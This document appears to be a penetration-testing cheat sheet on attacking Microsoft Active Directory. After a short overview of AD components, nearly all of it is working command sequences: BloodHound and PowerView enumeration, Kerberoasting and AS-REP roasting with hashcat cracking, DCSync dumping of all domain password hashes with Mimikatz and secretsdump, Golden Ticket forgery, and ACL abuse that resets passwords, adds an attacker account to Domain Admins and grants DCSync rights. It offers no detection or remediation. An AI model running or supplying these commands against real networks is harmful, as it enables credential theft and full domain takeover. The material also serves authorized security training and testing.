Active Directory Attacks

Active Directory (AD): Microsoft's directory service for Windows domains
Components:
- Domain Controller (DC): server hosting AD database (NTDS.dit)
- Domain: logical grouping of objects (users, computers, groups)
- Forest: collection of domains with trust relationships
- LDAP: protocol used to query AD (port 389/636)
- Kerberos: AD authentication protocol (port 88)
- DNS: required for AD (port 53)
- SMB: file sharing, used by many AD operations (port 445)

Key concepts:
- Distinguished Name (DN): CN=Alice,OU=Users,DC=corp,DC=com
- SID: unique security identifier for each object
- ACL/ACE: access control lists governing permissions
- GPO: Group Policy Objects — settings pushed to computers/users
- Trust: allows authentication across domains

# BloodHound: visualizes AD attack paths graphically
# Requires: Neo4j database + BloodHound GUI

# 1. Start Neo4j:
sudo neo4j start
# Browse: http://localhost:7474
# Default: neo4j/neo4j → change on first login

# 2. Start BloodHound GUI

# 3. Collect data (from domain-joined machine or with credentials):
# SharpHound (Windows):
.\SharpHound.exe -c All --outputdirectory C:\Temp
# BloodHound.py (Linux with credentials):
bloodhound-python -d corp.local -u user -p password -ns DC_IP -c All

# 4. Import to BloodHound: drag ZIP file into GUI

# 5. Queries to run:
# "Find all Domain Admins" — who has DA
# "Shortest Paths to Domain Admins" — from any user
# "Find Principals with DCSync Rights" — who can dump DC
# "Find AS-REP Roastable Users"
# "Find Kerberoastable Users"
# "Largest Attack Surface" (exposed high-value targets)

# ldapdomaindump — dump AD info over LDAP
ldapdomaindump -u 'CORP\user' -p 'password' DC_IP
# Creates: domain_users.html, domain_groups.html, domain_computers.html

# ldapsearch
ldapsearch -x -H ldap://DC_IP -D 'CN=user,DC=corp,DC=com' -w 'password'     -b 'DC=corp,DC=com' '(objectClass=user)' sAMAccountName

# PowerView (PowerShell, from domain-joined machine):
Import-Module .\PowerView.ps1
Get-DomainUser -Properties samaccountname,description,memberof
Get-DomainGroup -Name "Domain Admins" -Properties members
Get-DomainComputer -Properties name,operatingsystem
Find-LocalAdminAccess  # find machines where current user is local admin

# Service accounts with SPNs → request TGS → crack ticket offline
# The TGS is encrypted with the service account's NTLM hash

# 1. Find Kerberoastable accounts:
impacket-GetUserSPNs corp.local/user:password -dc-ip DC_IP

# 2. Request and capture TGS:
impacket-GetUserSPNs corp.local/user:password -dc-ip DC_IP -request -outputfile kerberoast.txt

# 3. Crack:
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r best64.rule

# From Windows with Rubeus:
.\Rubeus.exe kerberoast /outfile:kerberoast.txt

# Why it works: any domain user can request TGS for any service
# Service account passwords are often weak and rarely rotated

# Users with "Do not require Kerberos pre-authentication"
# → can request AS-REP without credentials → crack offline

# Find vulnerable users:
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip DC_IP

# With credentials (find all):
impacket-GetNPUsers corp.local/user:password -dc-ip DC_IP -request

# Crack:
hashcat -m 18200 asrep.txt rockyou.txt

# From Windows:
.\Rubeus.exe asreproast /outfile:asrep.txt

# DCSync: replicate domain controller's password database
# Requires: Domain Admin, Replication privileges, or specific ACEs
# Uses: drsuapi (Directory Replication Service API)

# With Mimikatz (from compromised DA account):
lsadump::dcsync /domain:corp.local /user:Administrator
# Output: NTLM hash, Kerberos keys, password history

# Dump all accounts:
lsadump::dcsync /domain:corp.local /all /csv

# With impacket (from Linux):
impacket-secretsdump corp.local/Administrator@DC_IP -hashes :NTLM_HASH
impacket-secretsdump corp.local/Administrator:password@DC_IP

# Output: ALL domain user NTLM hashes, Kerberos keys
# Equivalent to exfiltrating NTDS.dit

# Golden Ticket: forged Kerberos TGT using the KRBTGT hash
# Valid for 10 years by default, can impersonate ANY user
# Persists even after password changes (until KRBTGT is rotated TWICE)

# Prerequisites: KRBTGT NTLM hash (get via DCSync)

# Get KRBTGT hash:
impacket-secretsdump corp.local/Administrator@DC_IP | grep krbtgt

# Create Golden Ticket (Mimikatz):
kerberos::golden /user:Administrator /domain:corp.local     /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM_HASH /ptt
# /ptt = pass-the-ticket (inject into current session)

# Create and save:
kerberos::golden /user:Administrator /domain:corp.local     /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM_HASH /ticket:golden.kirbi

# Use saved ticket:
kerberos::ptt golden.kirbi

# From Linux with impacket:
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-...     -domain corp.local Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec corp.local/Administrator@DC_IP -k -no-pass

# ACL (Access Control Lists) misconfigurations — common in real environments
# BloodHound shows these as "edges"

# Common exploitable ACEs:
# GenericAll on user: reset password, add to group
# ForceChangePassword: change password without knowing current
# GenericWrite on group: add yourself to group
# WriteDACL: modify ACL of target object (give yourself GenericAll)
# WriteOwner: take ownership of object (then get GenericAll)
# DCSync rights (DS-Replication-Get-Changes-All): dump DC

# Example: GenericAll on user account
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose

# Example: Add yourself to Domain Admins group
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker

# Example: WriteDACL -> give yourself DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=com" -PrincipalIdentity attacker -Rights DCSync